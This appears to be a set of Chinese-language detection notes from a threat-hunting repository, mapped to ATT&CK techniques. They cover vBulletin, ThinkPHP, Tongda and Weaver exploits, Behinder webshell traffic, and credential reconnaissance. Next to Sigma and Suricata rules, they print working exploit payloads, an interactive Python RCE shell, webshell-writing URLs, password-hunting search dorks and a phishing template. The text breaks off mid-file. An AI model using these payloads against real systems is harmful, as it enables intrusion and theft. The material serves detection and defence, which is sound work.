对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2015-7808漏洞 vBulletin是用PHP编写的可定制的论坛程序套件。 vBulletin 5.1.4-5.1.9版本,某些内部API处理Ajax请求时,未验证其来源,这可使攻击者无需身份验证调用继承自vB_Api及/core/vb/api/下任意类的任意公共方法,其中decodeArguments()方法内的unserialize()函数存在安全漏洞,可使攻击者在‘$args’变量中注入精心构造的任意对象,远程执行php代码,获取服务器权限。 ### 影响版本 VBulletin 5.1.4 - 5.1.9 ### 测试案例 请参考: vBulletin5.X前台RCE分析(CVE-2015-7808) vBulletin 5 全版本远程代码执行漏洞分析 ### 检测日志 访问日志 ### 测试复现 ``` yml GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1 Host: 192.168.0.106 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close ``` 解码后: ``` yml GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:17:"vB_Database_MySQL":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:9:"phpinfo()";} HTTP/1.1 ``` ### 测试留痕 暂无 ### 检测规则/思路 sigma规则 ``` yml title: vBulletin5.X-CVE-2015-7808-RCE-检测规则 description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为 translator: 12306Bro date: 2020/12/16 status: experimental references: - https://xz.aliyun.com/t/6497 logsource: category: webserver detection: selection: c-uri: - '*/ajax/api/hook/decodeArguments?arguments=*' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ## CVE-2019-16759 近期,vBulletin披露了一个最新的0 day漏洞细节,这个漏洞分配的CVE编号为CVE-2019-16759。与此同时,Unit 42的安全研究人员也在网上发现了有很多攻击者正在利用该漏洞来实施攻击。在该漏洞的帮助下,未经身份验证的攻击者将能够访问和控制运行了v5.0.0至v5.5.4版本vBulletin的服务器,并且阻止网络管理员访问这些服务器。目前,使用了vBulletin的网站数量大约有10万多个,其中包括很多大型企业、组织和论坛,因此该漏洞应当立刻被修复。 ### 影响范围 仅影响 vBulletin 5.x 版本 ### 测试记录 请参考: CVE-2019-16759漏洞在野利用 CVE-2019-16759 vBulletin 5.x RCE 复现 CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 ### 检测日志类型 访问日志 OR HTTP.log ### 测试复现过程 POC1 ``` yml http://IP/?routestring=ajax%2Frender%2Fwidget_php&widgetConfig[code]=phpinfo();exit; ``` POC2:CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 ``` python import requests import sys if len(sys.argv) != 2: sys.exit("Usage: %s " % sys.argv[0]) proxies ={ "http":"http://127.0.0.1:8080/" } params = {"routestring":"ajax/render/widget_php"} while True: try: cmd = raw_input(">>>Shell= ") params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;" r = requests.post(url = sys.argv[1], data = params, proxies=proxies) if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text: print print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0] else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception, e: sys.exit(str(e)) ``` ### 测试痕迹 暂无,但可查看攻击报文样例辅助安全人员研判是否为攻击行为,较简单的场景。 ### 检测规则 sigma规则 ``` yml title: vBulletin5.X-CVE-2015-7808-RCE-检测规则 description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为 translator: 12306Bro date: 2020/12/16 status: experimental references: - https://github.com/jas502n/CVE-2019-16759 - https://blog.csdn.net/weixin_41064688/article/details/108060313 logsource: category: webserver detection: selection1: c-uri: - '*?routestring=ajax%2Frender%2Fwidget_php&widgetConfig*' #匹配此特征 selection2: body: - '*routestring=ajax/render/widget_php&widgetConfig[code]=die(@mid5(*))' #根据报文内容进行判断,多为post condition: selection1 or selection2 fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ## 备注 在进行部分攻击日志分析时,遇到此漏洞特征,仅做记录。 ## 参考推荐 MITRE-ATT&CK-T1190 vBulletin5.X前台RCE分析(CVE-2015-7808) vBulletin 5 全版本远程代码执行漏洞分析 CVE-2019-16759漏洞在野利用 CVE-2019-16759 vBulletin 5.x RCE 复现 CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 ================================================ FILE: Web/long time/T1190-JumpServer v2.6.1 RCE攻击检测.md ================================================ # T1190-JumpServer v2.6.1 RCE攻击检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## JumpServer v2.6.1 RCE(远程代码执行) JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机. 2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。 ### 影响版本 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer = v1.5.9 ### 测试案例 请参考: JumpServer v2.6.1 RCE(远程代码执行) 复现总结 Jumpserver-RCE复现及告警规则 ### 检测日志 访问日志 ### 测试复现 请参考: JumpServer v2.6.1 RCE(远程代码执行) 复现总结 ### 测试留痕 暂无 ### 检测规则/思路 modsecurity判定规则 在这种场景下,基本上看到这个uri请求我们就可以断言这是一个报警,因此编写规则如下: SecRule REQUEST_URI "/ws/ops/tasks/log" "id:11111111,phase:1,id:52,t:none,t:urlDecode,t:lowercase,t:normalizePath,msg:'jump-rce'" ## 备注 本文内容多数摘自互联网网络,未经过本人实际环境测试,慎重上线使用。 ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。 ## 参考推荐 MITRE-ATT&CK-T1190 JumpServer v2.6.1 RCE(远程代码执行) 复现总结 Jumpserver-RCE复现及告警规则 ================================================ FILE: Web/long time/T1190-Thinkphp 5.x远程命令执行检测.md ================================================ # T1190-Thinkphp 5.x远程命令执行漏洞检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-16875漏洞 ### 简介 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 ### 影响版本 5.x < 5.1.31, <= 5.0.23 ## 测试案例 漏洞分析及漏洞利用可参考Thinkphp 5.x远程命令执行漏洞: ## 检测日志 HTTP_log,访问日志也可以 ## 测试复现 1.利用system函数远程命令执行 ``` yml http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ``` 2.通过phpinfo函数写出phpinfo()的信息 ``` yml http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ``` 3.写入shell: ``` yml http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php ``` 或者 ``` yml http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]= ``` ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 ``` yml title: Thinkphp 5.x远程命令执行漏洞 description: 通过访问日志orHttp.log检测Thinkphp 5.x远程命令执行漏洞利用行为 translator: 12306Bro date: 2020/12/12 status: experimental references: - https://www.cnblogs.com/backlion/p/10106676.html logsource: category: webserver detection: selection: c-uri: - '/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ## 备注 在具体业务场景下遇到,特记录。可以根据具体payload来判断是否为真实攻击。 ## 参考推荐 MITRE-ATT&CK-T1190 Thinkphp 5.x远程命令执行漏洞: ================================================ FILE: Web/long time/T1190-泛微OA任意文件读取.md ================================================ # T1190-泛微OA任意文件读取 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。 ### 影响范围 2018-2019多个版本 ## 检测日志 HTTP ## 测试复现 第一步:/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt(windows)、使用/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt(linux)获取返回包有id字符串; 第二步:通过id值获取文件内容(/file/fileNoLogin/id) ## 测试留痕 可参看此文章: ## 检测规则/思路 ### Suricata规则 ``` yml alert http any any -> any any (msg:"泛微OA任意文件读取-rsq";flow:established,to_server;content:"GET";http_method;content:"/wxjsapi/saveYZJFile?fileName=test&downloadUrl=";startswith;pcre:"/&fileExt=txt/";flowbits:set,first_get_rsq;noalert;http_uri;reference:url,www.cnblogs.com/yuzly/p/13677238.html;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"泛微OA任意文件读取-resp";flow:established,to_client;content:"200";http_stat_code;content:"filepath";http_server_body;flowbits:isset,first_get_rsq;flowbits:set,first_get_resp;noalert;sid:2;rev:1;) alert http any any -> any any (msg:"泛微OA任意文件读取";flow:established,to_server;content:"GET";http_method;content:"/file/fileNoLogin/";http_uri;flowbits:isset,first_get_resp;sid:3;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为 ## 参考推荐 MITRE-ATT&CK-T1190 泛微云桥e-Bridge-任意文件读取漏洞 ================================================ FILE: Web/long time/T1190-通达V11.6-RCE.md ================================================ # T1190-通达V11.6-RCE漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“ 利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。 该exp会删除uth.inc.php文件导致OA系统系统异常。 目前已知受影响版本:V11.6 ## 检测日志 HTTP.log ## 测试复现 漏洞复现建议参考以下文章 ## 测试留痕 可自行本地测试抓取流量 ## 检测规则/思路 ### Sigma规则 建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。 ``` yml title: 通达OA v11.6 RCE description: 检测通达OA v11.6 RCE漏洞 author: 12306Bro date: 2020/08/19 status: experimental references: - https://www.cnblogs.com/L0ading/p/13529013.html logsource: category: webserver detection: selection1: c-uri: - '//module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php' #响应包状态码为200 - '//inc/auth.inc.php' #响应包状态码为404,意味着删除成功 http.request.method: 'GET' #请求方法为GET User-Agent: 'python-requests/*' #PY脚本自带 selection2: c-uri: - '//general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./' #响应包状态码为200 http.request.method: 'POST' #请求方法为POST User-Agent: 'python-requests/*' #PY脚本自带 Content-Disposition: form-data; name="FILE1"; filename="*.php" #写入shell文件 condition: selection1 or selection2 #当条件1和条件2出现任意一个时,意味着你可能正在遭受探测性攻击,如果在短时间内出现了条件1后,出现了条件2,并且返回包状态码为200,意味着攻击正在发生,可能入侵成功。 falsepositives: - Unknown level: critical ``` 此规则检测颗粒度较细,建议根据数据源等实际情况进行调整。 ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 最新通达OA11.6版本前台getshell漏洞复现 ================================================ FILE: Web/long time/T1505-003-webshell-冰蝎v2.0.md ================================================ # T1505-003-webshell-冰蝎 ## 来自ATT&CK的描述 Webshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外,Webshell可能还有一个客户端接口程序,用于与管理Web服务器的通信(例如,中国菜刀、C刀、蚁剑、冰蝎等)。 ## 测试案例 PHP网站(Phpstudy+DVWA) 冰蝎V1.0/V2.0(客户端+自带shell) wireshark(必备) ## 检测日志 HTTP流量 ## 测试复现 利用DVWA相关漏洞,上传冰蝎默认webshell,利用冰蝎客户端对webshell进行管理,抓取冰蝎客户端与web服务器上的脚本之间的通讯流量。 ## 测试留痕 ### 冰蝎V1.0 #### 1)正常流量 **GET请求包**a GET /1.php HTTP/1.1 Host: 192.168.66.136 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 **GET请求返回包**a HTTP/1.1 200 OK Date: Tue, 20 Aug 2019 02:50:43 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 X-Powered-By: PHP/5.4.45 Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html test **POST请求包**a POST /DVWA/vulnerabilities/exec/ HTTP/1.1 Host: 192.168.66.136 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 40 DNT: 1 Connection: keep-alive Referer: Cookie: security=low; PHPSESSID=190krorgsuckk0elaa1tk0v891 Upgrade-Insecure-Requests: 1 ip=127.0.0.1+%26%26+whoami&Submit=Submit **POST返回包**a HTTP/1.1 200 OK Date: Tue, 20 Aug 2019 02:52:47 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 X-Powered-By: PHP/5.4.45 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Length: 5161 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 !DOCTYPE html PUBLIC "-//W3C//DTD(此处省略更多字符信息) #### 2)冰蝎客户端与服务端通信流量 GET请求包 ``` pacp GET /shell.php?pass=1 HTTP/1.1 User-Agent: Java/1.8.0_211 Host: 192.168.66.136 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive ``` GET返回包 HTTP/1.1 200 OK Date: Sun, 21 Jul 2019 02:51:55 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 X-Powered-By: PHP/5.4.45 Set-Cookie: PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 16 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html f52eb8c003a3991b POST请求包 ``` pacp POST /shell.php HTTP/1.1 Content-Type: application/octet-stream Cookie: null;PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/ Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_211 Host: 192.168.66.136 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 1624 D3dH8lwIFCCGYS9Yca (此处省略加密字符信息) ``` POST返回包 HTTP/1.1 200 OK Date: Sun, 21 Jul 2019 02:51:55 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 X-Powered-By: PHP/5.4.45 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html 1f4c0(此处省略加密字符信息) #### 3)正常流量VS冰蝎通讯流量 从中可以看到冰蝎V1.0版本在初期交互通讯时,特征较为明显,user-agent与正常业务流量明显不同。可以通过对**user-agent**进行检测分析。其次在POST返回包中相对正常流量多了**Transfer-Encoding: chunked**,Transfer-Encoding主要是用来改变报文格式,这里指的是利用分块进行传输。你可以基于此特征值进行检测,当然,你也可以用更简单的方法进行检测,比如url中包含**.php?pass=**来进行检测。 ### 冰蝎V2.1 从冰蝎V1.1开始新增随机UserAgent支持,每次会话会从17种常见UserAgent中随机选取。冰蝎最新版本为V2.1,可以通过对2.1版本服务端与客户端的通信流量,进行捕获,对比正常流量进行分析。 #### 1)正常流量a **GET请求包**a 同冰蝎V1.0章节 **GET请求返回包**a 同冰蝎V1.0章节 **POST请求包**a 同冰蝎V1.0章节 **POST返回包**a 同冰蝎V1.0章节 #### 2)冰蝎客户端与服务端通信流量a **GET请求包**a ``` pacp GET /DVWA/hackable/uploads/shell.php?pass=673 HTTP/1.1 Content-type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3) Host: 192.168.66.136 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive **GET请求返回包**a HTTP/1.1 200 OK Date: Mon, 19 Aug 2019 09:34:36 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 X-Powered-By: PHP/5.4.45 Set-Cookie: PHPSESSID=m0agat42tmo0i4srnda5ssfq94; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 16 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html 03befc81cbefda94 ``` POST请求包 ``` pcap POST /DVWA/hackable/uploads/shell.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=bv5lv0681hq09ggt8rfj1peio5; path=/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3) Cache-Control: no-cache Pragma: no-cache Host: 192.168.66.136 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 2220 ltEi32XJreSl8Y5Hhzk08Wgjfe8bLPr3x8n4qlJ(此处省略加密字符信息) ``` POST返回包 HTTP/1.1 200 OK Date: Mon, 19 Aug 2019 09:34:36 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 X-Powered-By: PHP/5.4.45 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html 21dc0gfUOcrBcH7jint5L0pmkDxT5ypIbjLnIsXnDxHGjofQk3g(此处省略加密字符信息) ### 3)正常流量VS冰蝎通讯流量a 通过对比可以看到,冰蝎V2.1在初期交互通讯时流量中多了**Transfer-Encoding: chunked**,Transfer-Encoding主要是用来改变报文格式,这里指的是利用分块进行传输。你可以基于此特征值进行检测,当然,你也可以用更简单的方法进行检测,比如url中包含**.php?pass=**来进行检测。 ## 检测特征/思路 ### 冰蝎V1.0a 基于GET请求包的检测特征:url包含.php?pass=,useragent包含Java/*; 基于POST请求包的检测特征:useragent包含Java/* ,返回包包含:Transfer-Encoding: chunked; ### 冰蝎V2.1a 基于GET请求包的检测特征:url包含.php?pass=;(如果与业务冲突,误报较大) 基于POST返回包的检测特征:Transfer-Encoding: chunked; ## 相关TIP [[T1505-003-webshell-冰蝎v3.0]] [[T1505-003-windows下webshell检测]] [[T1505-003-web服务产生的可疑进程]] ## 参考推荐 MITRE-ATT&CK-T1505-003 冰蝎下载地址 ================================================ FILE: Web/long time/T1505-003-webshell-冰蝎v3.0.md ================================================ # T1505-003-webshell-冰蝎 ## 来自ATT&CK的描述 Webshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外,Webshell可能还有一个客户端接口程序,用于与管理Web服务器的通信(例如,中国菜刀、C刀、蚁剑、冰蝎等)。 ## 测试案例 暂无,可自行本地测试; ## 检测日志 HTTP流量 ## 测试复现 暂无,建议自行本地测试; ## 测试留痕 暂无,建议本地自行测试,抓取流量数据; ## 检测规则/思路 ### suricata规则 参考来源: ``` yml alert http any any -> any any (msg: "Behinder3 PHP HTTP Request"; flow: established, to_server; content:".php"; http_uri; pcre:"/[a-zA-Z0-9+/]{1000,}=/i"; flowbits:set,behinder3;noalert; classtype:shellcode-detect; sid: 3016017; rev: 1; metadata:created_at 2020_08_17,by al0ne;) alert http any any -> any any (msg: "Behinder3 PHP HTTP Response"; flow: established,to_client; content:"200"; http_stat_code; flowbits: isset,behinder3; pcre:"/[a-zA-Z0-9+/]{100,}=/i"; classtype:shellcode-detect; sid: 3016018; rev: 1; metadata:created_at 2020_08_17,by al0ne;) ``` ### 自定义检测规则 ``` yml 自定义规则进行防护:(uri_path * rco \.(jsp|jspx|php)$)&&(method * belong POST)&&(request_body * req ^[\w+/]{1000,}=?=?$) ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1505-003 冰蝎3.0流量特征分析附特征 冰蝎的前世今生:3.0新版本下的一些防护思考 ================================================ FILE: Windows/00其他/T*-win-使用User_Del删除用户.md ================================================ # T*-Win-使用User_Del删除用户 ## 测试案例 参考下文中提到的User_Del.exe程序删除用户。 作用:删除用户 用法:User_Del.exe Username ## 检测日志 Windows安全日志/sysmon日志 ## 测试复现 测试环境说明:Windows server 2012 ```shell C:\Windows_API_Tools-main>net user wang TOpsec.098 /add 命令成功完成。 C:\Windows_API_Tools-main>User_Del.exe wang success ``` ## 测试留痕 Windows sysmon EventID:1 进程创建 ```log Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-03-24 08:43:02.668 ProcessGuid: {4a363fee-2f16-623c-79a3-4e0000000000} ProcessId: 4084 Image: C:\Windows_API_Tools-main\User_Del.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: User_Del.exe wang CurrentDirectory: C:\Windows_API_Tools-main\ User: WEIDONG\Administrator LogonGuid: {4a363fee-2447-623c-df16-080000000000} LogonId: 0x816DF TerminalSessionId: 1 ``` windows security EventID:4733、4729、4726 ```log 4733 已从启用了安全性的本地组中删除某个成员。 使用者: 安全 ID: WEIDONG\Administrator 帐户名: Administrator 帐户域: WEIDONG 登录 ID: 0x816DF 成员: 安全 ID: WEIDONG\wang 帐户名: - 组: 安全 ID: BUILTIN\Users 组名: Users 组域: Builtin 附加信息: 4729 已从启用了安全性的全局组中删除某个成员。 使用者: 安全 ID: WEIDONG\Administrator 帐户名: Administrator 帐户域: WEIDONG 登录 ID: 0x816DF 成员: 安全 ID: WEIDONG\wang 帐户名: - 组: 安全 ID: WEIDONG\None 组名: None 组域: WEIDONG 附加信息: 4726 已删除用户帐户。 使用者: 安全 ID: WEIDONG\Administrator 帐户名: Administrator 帐户域: WEIDONG 登录 ID: 0x816DF 目标帐户: 安全 ID: WEIDONG\wang 帐户名: wang 帐户域: WEIDONG 附加信息: 特权 ``` ## 检测规则/思路 整体上看特征还是很明显的,重点关注账户删除日志。 ## 参考推荐 系统监视器(Sysmon)工具的使用 Windows_API_Tools ================================================ FILE: Windows/01侦察/T1589.001-收集目标组织身份信息-凭证.md ================================================ # T1589-001-收集目标组织身份信息-凭证 ## 描述 攻击者通过收集目标组织身份信息-凭证(T1589.001)获取受害者的身份数据(如员工姓名、电子邮件地址、用户名、密码等),为后续攻击(如钓鱼 T1566、有效账号 T1078 或凭证爆破 T1110)提供情报。这些操作通常在攻击者的外部环境(如自己的主机、云服务)进行,例如通过社交媒体爬取、搜索引擎挖掘(如 Google Hacking)、网络情报工具(如 Shodan、FOFA)、钓鱼攻击或公开数据泄露(如密码数据库)收集凭证。由于这些活动发生在目标组织视野之外,直接检测较为困难,但凭证可能被用于后续的初始访问或横向移动。 ## 测试案例 #### 测试案例 1:Google Hacking 搜索凭证 **关联技术**:T1589.001(凭证收集) **说明**: - 使用 Google Hacking 语法搜索公开暴露的凭证或敏感信息,通常在攻击者自己的设备上执行。 **示例操作**: ```bash :: 在浏览器中输入以下 Google 搜索语法 intext:password filetype:txt site:*.org intext:username password site:pastebin.com intext:"email password" site:*.gov ``` **输出示例**: ``` - 搜索结果可能包含公开的文本文件或 Pastebin 页面,泄露用户名和密码。 - 示例:user:admin password:Admin2025 - 示例:email:john.doe@example.org password:Pass1234 ``` **说明**: - 攻击者利用搜索引擎发现目标组织的凭证或敏感信息。 - 关联 T1589.001:通过公开数据收集身份信息。 #### 测试案例 2:社交媒体爬取员工信息 **关联技术**:T1589.001(凭证收集) **说明**: - 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工姓名、职位、电子邮件等信息,通常使用爬虫工具或 OSINT 框架。 **示例操作**(Python 伪代码): ```python import requests url = "https://www.linkedin.com/company/example-org/people/" response = requests.get(url) # 解析 HTML,提取员工信息 # 输出:姓名、职位、可能的电子邮件 ``` **输出示例**: ``` Name: John Doe, Title: IT Manager, Email: john.doe@example.org Name: Jane Smith, Title: HR Director, Email: jane.smith@example.org ``` **说明**: - 收集员工身份信息,用于定制钓鱼攻击。 - 关联 T1589.001:通过社交媒体获取凭证相关数据。 #### 测试案例 3:钓鱼模拟收集凭证 **关联技术**:T1589.001(凭证收集)、T1566(钓鱼) **说明**: - 攻击者发送钓鱼邮件或创建伪造登录页面,诱导目标输入凭证,通常在外部服务器上执行。 **示例操作**: - 发送伪造邮件,包含链接到攻击者控制的登录页面: ``` Subject: 紧急:请验证您的账号 Body: 请点击以下链接更新您的密码:http://fake-example.com/login ``` - 伪造登录页面(HTML 伪代码): ```html
用户名: 密码:
